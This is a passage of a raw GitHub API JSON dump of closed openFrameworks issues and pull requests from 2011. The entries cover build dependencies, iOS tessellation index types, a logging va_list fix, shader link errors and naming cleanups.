explicitly","labels":[],"closed_at":"2011-07-06T19:32:49Z","created_at":"2011-07-05T17:16:40Z","state":"closed","user":{"url":"https://api.github.com/users/mbliu","gravatar_id":"01b6b14da92a35f264899f1e72756fed","login":"mbliu","id":885503,"avatar_url":"https://secure.gravatar.com/avatar/01b6b14da92a35f264899f1e72756fed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1168628,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-03T11:02:59Z","body":"Running ofProject create on a fresh install creates the following error:\r\n\r\n\r\nbase@base-nix:~/dev/gitMINE/openFrameworks/apps/personal$ ofProject create test\r\nTraceback (most recent call last):\r\n File \"/usr/local/bin/ofProject\", line 2, in \r\n from ofProject import ofProject\r\n File \"/usr/local/ofProjectManager/ofProject.py\", line 2, in \r\n import amara\r\nImportError: No module named amara\r\n\r\nNothing too serious, but this should be installed w/the installDependencies script I think.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/616","comments":3,"milestone":null,"number":616,"html_url":"https://github.com/openframeworks/openFrameworks/issues/616","assignee":null,"title":"ubuntu ofProject requirements should be installed w/installDependencies","labels":[],"closed_at":"2011-07-03T10:58:46Z","created_at":"2011-07-03T10:53:23Z","state":"closed","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1156999,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-02T20:02:54Z","body":"tested all the examples on vs2010\r\n\r\nnotes here:\r\n\r\nhttp://typewith.me/Fl7rIv0aBr\r\n\r\nstill a couple things left to do (opencv, assimp), but theo + arturo said they would look into it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/615","comments":0,"milestone":null,"number":615,"html_url":"https://github.com/openframeworks/openFrameworks/issues/615","assignee":null,"title":"fixes for vs2010","labels":[],"closed_at":"2011-07-02T20:02:54Z","created_at":"2011-07-02T05:18:34Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1154257,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/615.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/615","patch_url":"https://github.com/openframeworks/openFrameworks/pull/615.patch"}},{"updated_at":"2011-07-02T18:56:49Z","body":"lots of changes for cleaner rendering, more default arguments, loading + saving to xml, returning pointers from setup() to make ofPanel creation easier.\r\n\r\nthis is all changes in devApps, i just think it should be merged back to master so if anyone wants to work more on ofGui we're all on the same page!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/614","comments":3,"milestone":null,"number":614,"html_url":"https://github.com/openframeworks/openFrameworks/issues/614","assignee":null,"title":"ofGui modifications","labels":[],"closed_at":"2011-07-02T18:56:49Z","created_at":"2011-07-01T21:16:59Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1153086,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/614.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/614","patch_url":"https://github.com/openframeworks/openFrameworks/pull/614.patch"}},{"updated_at":"2011-07-01T15:06:31Z","body":"Added getLabelText(), which returns the string in the text label attached to the keyboard.\r\n\r\nUseful when you want to hide the default UILabel have real time custom drawing of the text typed in by the user.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/613","comments":0,"milestone":null,"number":613,"html_url":"https://github.com/openframeworks/openFrameworks/issues/613","assignee":null,"title":"Added getLabelText(), which returns the string in the text label attached","labels":[],"closed_at":"2011-07-01T15:06:31Z","created_at":"2011-06-29T20:55:03Z","state":"closed","user":{"url":"https://api.github.com/users/gardaud","gravatar_id":"60e65d6498422fb5a59e3404ef1a6c21","login":"gardaud","id":206641,"avatar_url":"https://secure.gravatar.com/avatar/60e65d6498422fb5a59e3404ef1a6c21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1140547,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/613.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/613","patch_url":"https://github.com/openframeworks/openFrameworks/pull/613.patch"}},{"updated_at":"2011-07-02T18:57:19Z","body":"things like rotation and scaling were affecting bitmap strings in ways they weren't supposed to.\r\n\r\ni meant for this to be in a branch, whoops :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/611","comments":2,"milestone":null,"number":611,"html_url":"https://github.com/openframeworks/openFrameworks/issues/611","assignee":null,"title":"brought default ofDrawBitmapString behavior back to the way it used to be","labels":[],"closed_at":"2011-07-02T18:57:19Z","created_at":"2011-06-24T01:28:56Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1107813,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/611.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/611","patch_url":"https://github.com/openframeworks/openFrameworks/pull/611.patch"}},{"updated_at":"2011-07-01T15:08:18Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/610","comments":1,"milestone":null,"number":610,"html_url":"https://github.com/openframeworks/openFrameworks/issues/610","assignee":null,"title":"tessellation on polygonExamples broken for iPhone - tess2 issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-07-01T15:08:18Z","created_at":"2011-06-23T17:44:41Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1105571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-01T18:54:54Z","body":"Would be good to fix the example to show correct usage. \r\n\r\n/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/iPhoneExamples/fontShapesExample/src/testApp.mm:59: error: 'class ofTTFCharacter' has no member named 'contours'\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/609","comments":1,"milestone":null,"number":609,"html_url":"https://github.com/openframeworks/openFrameworks/issues/609","assignee":null,"title":"typedef ofPath ofTTFCharacter; breaks the TTF shapes example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-07-01T18:54:54Z","created_at":"2011-06-23T17:42:05Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1105558,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-03T13:46:56Z","body":"I updated the .gitignore so it ignores the generated xcode project files.\r\n\r\nThe other commit's are more cosmetic. Take them if they make sense:\r\n- ofTrueTypeFont has a number of public member variables that should probably be made protected and wrapped by getter funcs. I did this for bLoadedOK (redundant name, bLoaded is sufficient), bAntiAliased, bFullCharacterSet, nCharacters. Also, bAntiAliased was misspelled as \"bAntiAlised\". This is fixed.\r\n- ofImage has a \"bAllocated()\" func while pretty much every other OF object uses \"isAllocated\". I fixed that.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/608","comments":8,"milestone":null,"number":608,"html_url":"https://github.com/openframeworks/openFrameworks/issues/608","assignee":null,"title":"updated .gitignore for generated xcode projs; updates to ofTTFont","labels":[],"closed_at":"2011-07-03T13:46:39Z","created_at":"2011-06-18T12:46:10Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1077661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/608.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/608","patch_url":"https://github.com/openframeworks/openFrameworks/pull/608.patch"}},{"updated_at":"2011-06-18T12:13:43Z","body":"I updated the .gitignore so it ignores the generated xcode project files.\r\n\r\nThe other commit's are more cosmetic. Take them if they make sense:\r\n- ofTrueTypeFont has a number of public member variables that should probably be made protected and wrapped by getter funcs. I did this for bLoadedOK (redundant name, bLoaded is sufficient), bAntiAliased, bFullCharacterSet, nCharacters. Also, bAntiAliased was misspelled as \"bAntiAlised\". This is fixed.\r\n- ofImage has a \"bAllocated()\" func while pretty much every other OF object uses \"isAllocated\". I fixed that.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/607","comments":2,"milestone":null,"number":607,"html_url":"https://github.com/openframeworks/openFrameworks/issues/607","assignee":null,"title":"updated .gitignore for generated xcode projs; various nameing fixes","labels":[],"closed_at":"2011-06-18T12:13:43Z","created_at":"2011-06-18T12:03:23Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1077587,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/607.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/607","patch_url":"https://github.com/openframeworks/openFrameworks/pull/607.patch"}},{"updated_at":"2011-12-03T22:20:15Z","body":"It appears that the line:\r\nofEnableBlendMode(currentStyle.blendingMode);\r\n\r\nshould be:\r\nofEnableBlendMode(style.blendingMode);\r\n\r\nin function\r\nvoid ofSetStyle(ofStyle style){..}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/606","comments":2,"milestone":null,"number":606,"html_url":"https://github.com/openframeworks/openFrameworks/issues/606","assignee":null,"title":"currentStyle should be style on line 568 of ofGraphics.cpp","labels":[],"closed_at":"2011-12-03T22:20:15Z","created_at":"2011-06-17T10:11:47Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1072757,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-16T10:46:21Z","body":"Hi, \r\n\r\nWorking with the ofxAssimpModelLoader.cpp (OF007), I realized there is a small mistake in draw(ofPolyRenderMode renderType) that mess up the matrixes to use in anything that is draw after the model. \r\nSimple to fix: \r\n\r\n \"ofPopStyle()\" command should be at the END of the function, after \"glPopAttrib()\".\r\n\r\nHope it helps. \r\nChema","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/604","comments":0,"milestone":null,"number":604,"html_url":"https://github.com/openframeworks/openFrameworks/issues/604","assignee":null,"title":"ofxAssimpModelLoader - Error in draw(ofPolyRenderMode renderType)","labels":[],"closed_at":"2011-06-16T10:46:21Z","created_at":"2011-06-16T10:35:17Z","state":"closed","user":{"url":"https://api.github.com/users/knute","gravatar_id":"af04648f76fc1980d4f47742e51f8903","login":"knute","id":853813,"avatar_url":"https://secure.gravatar.com/avatar/af04648f76fc1980d4f47742e51f8903?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1066642,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-01T18:54:36Z","body":"SUMMARY\r\nofTessellator.cpp generates an incorrect vertex list from that passed to it by libtess2, resulting in polygons not being drawn correctly in the iOS simulator.\r\n\r\nDESCRIPTION\r\nI've migrated from 0.062 to the github master branch a couple of days ago and have noticed that simple polygons don't seem to render in the iOS simulator. (Xcode 3.2.6, iOS 4.2). The same code works fine on Mac OS X, although I don't have a iOS device currently to test with.\r\n\r\nFor example, attempting to draw this square:\r\n```\r\nofSetColor(255,0,0,0); \r\nofFill(); \r\nofBeginShape(); \r\nofVertex(10, 10); \r\nofVertex(10, 85); \r\nofVertex(85, 85); \r\nofVertex(85, 10); \r\nofVertex(10, 10); \r\nofEndShape(); \r\n```\r\nresults in nothing being drawn in the iOS simulator. ofTriangle() and ofRect() don't suffer the problem as they don't use ofPath to get drawn.\r\n\r\nIn the debugger, I'm finding that when the above polygon is tessellated in ofPath::tessellate(), the cachedTessellation mesh has the correct vertices, but has an indices list of {0, 0, 1, 0, 2, 0} which is probably why it doesn't render (ie. duplicate consecutive indices within the same triangle. The vertices under OS X are the same, but the indices list looks more sensible.)\r\n\r\nCAUSE\r\nThe problem appears to be that ofTessellator::performTessellation() incorrectly assumes that:\r\n```\r\nsizeof(ofIndexType) == sizeof(TESSindex)\r\n```\r\nwhen it calls:\r\n```\r\ndstmesh.addIndices((ofIndexType*)tessGetElements(cacheTess),numIndices);\r\n```\r\nWhen building for iOS, this assumption is not true. ofIndexType is GLushort while TESSindex is int.\r\n\r\nSOLUTION\r\nThe following patch fixes the issue:\r\n\r\n```\r\ndiff --git a/libs/openFrameworks/graphics/ofTessellator.cpp b/libs/openFrameworks/graphics/ofTessellator.cpp\r\nindex 68fdd65..03fde46 100644\r\n--- a/libs/openFrameworks/graphics/ofTessellator.cpp\r\n+++ b/libs/openFrameworks/graphics/ofTessellator.cpp\r\n@@ -1,3 +1,5 @@\r\n+#include \r\n+\r\n #include \"ofTessellator.h\"\r\n \r\n \r\n@@ -146,7 +148,18 @@ void ofTessellator::performTessellation(ofPolyWindingMode polyWindingMode, ofMes\r\n \r\n \tdstmesh.clear();\r\n \tdstmesh.addVertices((ofVec3f*)tessGetVertices(cacheTess),numVertexes);\r\n-\tdstmesh.addIndices((ofIndexType*)tessGetElements(cacheTess),numIndices);\r\n+\r\n+\r\n+\t// If assertion fails, can safely replace following loop with more efficient:\r\n+\t//\t\tdstmesh.addIndices((ofIndexType*)tessGetElements(cacheTess),numIndices);\r\n+\tassert(sizeof(ofIndexType) != sizeof(TESSindex));\r\n+\tconst TESSindex* indices = tessGetElements(cacheTess);\r\n+\tfor (int i = 0; i < numIndices; ++i)\r\n+\t{\r\n+\t\tofIndexType index = indices[i];\r\n+\t\tdstmesh.addIndices(&index, 1);\r\n+\t}\r\n+\r\n\t/*ofIndexType * tessElements = (ofIndexType *)tessGetElements(cacheTess);\r\n\tfor(int i=0;i; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ef9fdd81521bb220014f66c184d34497"'), ('date', 'Tue, 29 May 2012 18:46:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-14T15:08:20Z","body":"no matter if it works at the end it always reports\r\n\r\nOF: OF_LOG_ERROR: GL_FRAGMENT_SHADER shader failed to link.\r\nOF: OF_LOG_ERROR: GL_VERTEX_SHADER shader failed to link.\r\n...\r\n\r\nat least on linux","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/594","comments":5,"milestone":null,"number":594,"html_url":"https://github.com/openframeworks/openFrameworks/issues/594","assignee":null,"title":"shader always reports failed to link","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-05-14T11:24:50Z","created_at":"2011-06-04T12:48:35Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1002555,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-04T12:31:08Z","body":"I just forked the newest git version(from the master branch) and all the xcode projects on every app seem to be gone. Is there any reason for this?\r\n\r\nthanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/593","comments":2,"milestone":null,"number":593,"html_url":"https://github.com/openframeworks/openFrameworks/issues/593","assignee":null,"title":"xcode projects are gone from master branch?","labels":[],"closed_at":"2011-06-04T10:53:25Z","created_at":"2011-06-04T06:45:36Z","state":"closed","user":{"url":"https://api.github.com/users/emmanuelflores","gravatar_id":"2ce598d400bf8d74653cff4cb34ae310","login":"emmanuelflores","avatar_url":"https://secure.gravatar.com/avatar/2ce598d400bf8d74653cff4cb34ae310?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":281086},"id":1002022,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-01T17:15:33Z","body":"currently its: \r\n\tOF_TRIANGLES_MODE,\r\n\tOF_TRIANGLE_STRIP_MODE,\r\n\tOF_TRIANGLE_FAN_MODE,\r\n\tOF_LINES_MODE,\r\n\tOF_LINE_STRIP_MODE,\r\n\tOF_LINE_LOOP_MODE,\r\n\tOF_POINTS_MODE\r\n\r\nthis makes it hard to tell what modes are available to you with autocompletion. \r\n\r\nit should be something more like this:\r\n\r\n\tOF_PRIMITIVE_TRIANGLES,\r\n\tOF_PRIMITIVE_TRIANGLE_STRIP,\r\n\tOF_PRIMITIVE_TRIANGLE_FAN,\r\n\tOF_PRIMITIVE_LINES,\r\n\tOF_PRIMITIVE_LINE_STRIP,\r\n\tOF_PRIMITIVE_LINE_LOOP,\r\n\tOF_PRIMITIVE_POINTS\r\n\r\nplus are we missing quad strip ? or is that because it isn't supported on ES ?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/592","comments":1,"milestone":null,"number":592,"html_url":"https://github.com/openframeworks/openFrameworks/issues/592","assignee":null,"title":"ofPrimitiveMode doesn't match OF style","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-07-01T17:15:33Z","created_at":"2011-06-02T13:26:44Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":989815,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-29T19:06:48Z","body":"I added the tess2 project so OF builds for iPhone. Also, added perspectivev3 files to the gitignore.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/588","comments":0,"milestone":null,"number":588,"html_url":"https://github.com/openframeworks/openFrameworks/issues/588","assignee":null,"title":"updated iPhone OF lib xcode project","labels":[],"closed_at":"2011-05-29T19:06:48Z","created_at":"2011-05-28T12:40:49Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":968227,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/588.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/588","patch_url":"https://github.com/openframeworks/openFrameworks/pull/588.patch"}},{"updated_at":"2011-05-29T19:05:02Z","body":"my previous setImageType was actually a bad solution. i found a better way to solve the problem by moving around a little code inside changeTypeOfPixels instead.\r\n\r\nbefore, changeTypeOfPixels wasn't always reallocating the texture. e.g., if you go from rgb to grayscale you don't need to because you're using less space. this meant that the ofTexture was still the old type (color) and was throwing errors. if this optimization is important, it should be added back into ofTexture::allocate instead of changeTypeOfPixels.\r\n\r\nthis also solves a key bug where calling setImageType would cause an image to go through getBmpFromPixels/putBmpIntoPixels and there was a stride mismatch issue for some image widths.\r\n\r\ni also solved a bug with setFromAlignedPixels where the channel math was wrong.\r\n\r\ni also added a case to putBmpIntoPixels() that should allow support for more kind of images that have alpha.\r\n\r\ntl;dr: lots of bug fixes and refactoring for image loading and conversion code.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/587","comments":4,"milestone":null,"number":587,"html_url":"https://github.com/openframeworks/openFrameworks/issues/587","assignee":null,"title":"fix setImageType (again) and other bug fixes","labels":[],"closed_at":"2011-05-29T19:04:44Z","created_at":"2011-05-28T07:17:48Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":967833,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/587.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/587","patch_url":"https://github.com/openframeworks/openFrameworks/pull/587.patch"}},{"updated_at":"2011-06-12T14:34:50Z","body":"This is the updated ofLight branch with the latest build of OF. I deleted the old version, so this should be good to go with the new file structure.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/586","comments":2,"milestone":null,"number":586,"html_url":"https://github.com/openframeworks/openFrameworks/issues/586","assignee":null,"title":"Lightdev - ofLight multi light support and spotlight support","labels":[],"closed_at":"2011-06-12T14:34:50Z","created_at":"2011-05-25T16:49:20Z","state":"closed","user":{"url":"https://api.github.com/users/NickHardeman","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142694},"id":953953,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/586.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/586","patch_url":"https://github.com/openframeworks/openFrameworks/pull/586.patch"}},{"updated_at":"2011-05-24T22:34:54Z","body":"added va_list log functions, fixes #584; ofVAArgsToString va_list func stub added, needs to be implemented","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/585","comments":3,"milestone":null,"number":585,"html_url":"https://github.com/openframeworks/openFrameworks/issues/585","assignee":null,"title":"ofLog va_list fix","labels":[],"closed_at":"2011-05-24T22:05:59Z","created_at":"2011-05-24T21:58:31Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":949851,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/585.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/585","patch_url":"https://github.com/openframeworks/openFrameworks/pull/585.patch"}},{"updated_at":"2011-05-24T22:06:01Z","body":"The ofLog variadic call is totally broken. Doing a print yields gibberish for the given variable arguments.\n\nI tracked down the cause to passing a va_list from one function to another function that takes the ellipses (...):\n
\nvoid ofConsoleLoggerChannel::log(ofLogLevel logLevel, const string & module, const char* format, ...){\n\t//thanks stefan!\n\t//http://www.ozzu.com/cpp-tutorials/tutorial-writing-custom-printf-wrapper-function-t89166.html\n        va_list args;\n        va_start( args, format );\n\tif(logLevel OF_LOG_ERROR){\n\t\tprintf(\"%s: \", module.c_str());\n\t\tprintf(\"%s: \", ofGetLogLevelName(logLevel).c_str());\n\t\tvprintf( format, args );\n\t\tprintf(\"\\n\");\n\t}else{\n\t\tfprintf(stderr,\"%s: \", module.c_str());\n\t\tfprintf(stderr,\"%s: \", ofGetLogLevelName(logLevel).c_str());\n\t\tvfprintf( stderr, format, args );\n\t\tfprintf(stderr,\"\\n\");\n\t}\n\n\tva_end( args );\n}\n\n
\n\nSee the first answer to this Stack Overflow post http://stackoverflow.com/questions/205529/c-c-passing-variable-number-of-arguments-around.\n\nBasically, it seems the second function taking the va_list via (...) dosen't automatically know what it is and tries to read the raw memory based on the format string ... \n\nThis function should in fact take a va_list arg which has already been started in the calling function and va_start and va_end do not need to be used:\n\n
\nvoid ofConsoleLoggerChannel::log(ofLogLevel logLevel, const string & module, const char* format, va_list args){\n\t//thanks stefan!\n\t//http://www.ozzu.com/cpp-tutorials/tutorial-writing-custom-printf-wrapper-function-t89166.html\n\n\tif(logLevel OF_LOG_ERROR){\n\t\tprintf(\"%s: \", module.c_str());\n\t\tprintf(\"%s: \", ofGetLogLevelName(logLevel).c_str());\n\t\tvprintf( format, args );\n\t\tprintf(\"\\n\");\n\t}else{\n\t\tfprintf(stderr,\"%s: \", module.c_str());\n\t\tfprintf(stderr,\"%s: \", ofGetLogLevelName(logLevel).c_str());\n\t\tvfprintf( stderr, format, args );\n\t\tfprintf(stderr,\"\\n\");\n\t}\n\n}\n
\n\nI changed the logger channel classes to implement va_list args and everything works fine now. I can submit a pull request after my current request is accepted .. :D","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/584","comments":3,"milestone":null,"number":584,"html_url":"https://github.com/openframeworks/openFrameworks/issues/584","assignee":null,"title":"ofLog va_args broken","labels":[],"closed_at":"2011-05-24T22:06:01Z","created_at":"2011-05-24T16:57:16Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":948244,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-24T18:30:51Z","body":"Kyle's ofGetInternalFormatName wasn't #ifdef-ed for OPENGLES and ofxiPhoneApp implemented \nrunAppViaInfiniteLoop with a * pointer not the new ofPtr object and, as such, did not override the ofBaseApp virtual function ... meaning the app will not actually run. :P Shouldn't most of ofBaseApp be virtual = 0?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/583","comments":0,"milestone":null,"number":583,"html_url":"https://github.com/openframeworks/openFrameworks/issues/583","assignee":null,"title":"iOS fixes","labels":[],"closed_at":"2011-05-24T18:30:51Z","created_at":"2011-05-23T18:36:23Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":942870,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/583.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/583","patch_url":"https://github.com/openframeworks/openFrameworks/pull/583.patch"}},{"updated_at":"2011-05-28T07:18:20Z","body":"closes #50. this is against the actual upstream/master while my last attempt at making this work was on an old upstream/master. whoops.\r\n\r\nfor some reason #50 was closed before, but it was never actually fixed...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/581","comments":5,"milestone":null,"number":581,"html_url":"https://github.com/openframeworks/openFrameworks/issues/581","assignee":null,"title":"fixed: setImageType didn''t reallocate the 